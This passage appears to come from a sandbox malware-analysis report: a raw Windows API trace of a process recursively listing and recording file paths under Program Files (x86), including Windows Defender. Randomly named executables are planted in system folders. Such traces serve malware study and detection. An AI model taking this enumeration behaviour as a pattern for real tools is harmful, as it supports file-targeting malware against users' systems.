0x3b5d18 [0041.581] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.581] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.581] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.582] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.582] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.582] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2=".") returned 1 [0041.582] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2="..") returned 1 [0041.582] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0041.582] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0041.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0041.582] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned 59 [0041.582] lstrcpyW (in: lpString1=0x925b40, lpString2="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0041.582] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.582] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0041.582] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0041.582] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0041.582] lstrlenW (lpString="Microsoft") returned 9 [0041.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft" [0041.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0041.582] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0041.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*" [0041.582] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.582] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.582] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.582] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.582] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.582] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.582] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2=".") returned 1 [0041.582] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2="..") returned 1 [0041.582] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0041.582] lstrlenW (lpString="Windows Workflow Foundation") returned 27 [0041.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="Windows Workflow Foundation" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0041.582] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.582] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.582] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.582] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.582] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.582] lstrcmpW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0041.582] lstrcmpW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0041.582] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.582] lstrlenW (lpString="Reference Assemblies") returned 20 [0041.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Reference Assemblies" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies") returned="c:\\Program Files (x86)\\Reference Assemblies" [0041.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\" [0041.582] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0041.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\*" [0041.583] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.583] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.583] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.583] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.583] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.583] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.583] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0041.583] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0041.583] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0041.583] lstrlenW (lpString="Microsoft") returned 9 [0041.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0041.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0041.583] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0041.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*" [0041.583] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.583] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.583] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.583] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.583] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.583] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.583] lstrcmpW (lpString1="Framework", lpString2=".") returned 1 [0041.583] lstrcmpW (lpString1="Framework", lpString2="..") returned 1 [0041.583] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0041.583] lstrlenW (lpString="Framework") returned 9 [0041.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="Framework" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0041.583] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.583] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.583] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.583] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.583] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.583] lstrcmpW (lpString1="Uninstall Information", lpString2=".") returned 1 [0041.583] lstrcmpW (lpString1="Uninstall Information", lpString2="..") returned 1 [0041.583] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.583] lstrlenW (lpString="Uninstall Information") returned 21 [0041.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Uninstall Information" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information") returned="c:\\Program Files (x86)\\Uninstall Information" [0041.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\") returned="c:\\Program Files (x86)\\Uninstall Information\\" [0041.583] lstrlenW (lpString="c:\\Program Files (x86)\\Uninstall Information\\") returned 45 [0041.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\*") returned="c:\\Program Files (x86)\\Uninstall Information\\*" [0041.583] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.584] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.584] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.584] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.584] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.584] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.584] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.584] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.584] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0041.584] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0041.584] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.584] lstrlenW (lpString="Windows Defender") returned 16 [0041.584] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Defender" | out: lpString1="c:\\Program Files (x86)\\Windows Defender") returned="c:\\Program Files (x86)\\Windows Defender" [0041.584] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\") returned="c:\\Program Files (x86)\\Windows Defender\\" [0041.584] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0041.584] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\*") returned="c:\\Program Files (x86)\\Windows Defender\\*" [0041.584] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.585] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.585] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.585] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.586] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.586] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.586] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.586] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0041.586] lstrlenW (lpString="en-US") returned 5 [0041.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US") returned="c:\\Program Files (x86)\\Windows Defender\\en-US" [0041.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\" [0041.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0041.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\*" [0041.586] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.586] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.586] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.586] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.586] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.586] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.586] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1 [0041.586] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1 [0041.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0041.586] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0041.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0041.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned 62 [0041.586] lstrcpyW (in: lpString1=0x9224f0, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0041.586] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.586] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2=".") returned 1 [0041.586] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2="..") returned 1 [0041.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0041.586] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0041.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0041.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned 61 [0041.586] lstrcpyW (in: lpString1=0x922578, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0041.586] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.586] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.586] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.586] lstrcmpW (lpString1="MpAsDesc.dll", lpString2=".") returned 1 [0041.586] lstrcmpW (lpString1="MpAsDesc.dll", lpString2="..") returned 1 [0041.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0041.586] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0041.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0041.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned 52 [0041.586] lstrcpyW (in: lpString1=0x920b28, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0041.586] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.586] lstrcmpW (lpString1="MpClient.dll", lpString2=".") returned 1 [0041.586] lstrcmpW (lpString1="MpClient.dll", lpString2="..") returned 1 [0041.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0041.586] lstrlenW (lpString="MpClient.dll") returned 12 [0041.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0041.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned 52 [0041.587] lstrcpyW (in: lpString1=0x920ba0, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0041.587] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.587] lstrcmpW (lpString1="MpOAV.dll", lpString2=".") returned 1 [0041.587] lstrcmpW (lpString1="MpOAV.dll", lpString2="..") returned 1 [0041.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0041.587] lstrlenW (lpString="MpOAV.dll") returned 9 [0041.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0041.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned 49 [0041.587] lstrcpyW (in: lpString1=0x924b08, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0041.587] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.587] lstrcmpW (lpString1="MsMpLics.dll", lpString2=".") returned 1 [0041.587] lstrcmpW (lpString1="MsMpLics.dll", lpString2="..") returned 1 [0041.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0041.587] lstrlenW (lpString="MsMpLics.dll") returned 12 [0041.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0041.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned 52 [0041.587] lstrcpyW (in: lpString1=0x920c18, lpString2="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0041.587] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.587] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2=".") returned 1 [0041.587] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2="..") returned 1 [0041.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0041.587] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0041.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0041.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned 58 [0041.587] lstrcpyW (in: lpString1=0x925bc0, lpString2="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0041.587] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.587] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.587] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.587] lstrcmpW (lpString1="Windows Mail", lpString2=".") returned 1 [0041.587] lstrcmpW (lpString1="Windows Mail", lpString2="..") returned 1 [0041.587] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.587] lstrlenW (lpString="Windows Mail") returned 12 [0041.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Mail" | out: lpString1="c:\\Program Files (x86)\\Windows Mail") returned="c:\\Program Files (x86)\\Windows Mail" [0041.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\") returned="c:\\Program Files (x86)\\Windows Mail\\" [0041.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\*") returned="c:\\Program Files (x86)\\Windows Mail\\*" [0041.587] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.588] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.588] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.588] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.588] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.588] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.588] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.588] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.588] lstrlenW (lpString="en-US") returned 5 [0041.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US") returned="c:\\Program Files (x86)\\Windows Mail\\en-US" [0041.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\" [0041.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0041.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\*" [0041.588] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.588] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.588] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.588] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.588] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.588] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.588] lstrcmpW (lpString1="msoeres.dll.mui", lpString2=".") returned 1 [0041.588] lstrcmpW (lpString1="msoeres.dll.mui", lpString2="..") returned 1 [0041.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0041.588] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0041.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0041.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned 57 [0041.588] lstrcpyW (in: lpString1=0x925c40, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0041.588] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.588] lstrcmpW (lpString1="WinMail.exe.mui", lpString2=".") returned 1 [0041.588] lstrcmpW (lpString1="WinMail.exe.mui", lpString2="..") returned 1 [0041.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0041.588] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0041.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0041.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned 57 [0041.588] lstrcpyW (in: lpString1=0x925cc0, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0041.588] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.588] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.588] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.588] lstrcmpW (lpString1="msoe.dll", lpString2=".") returned 1 [0041.588] lstrcmpW (lpString1="msoe.dll", lpString2="..") returned 1 [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.589] lstrlenW (lpString="msoe.dll") returned 8 [0041.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files 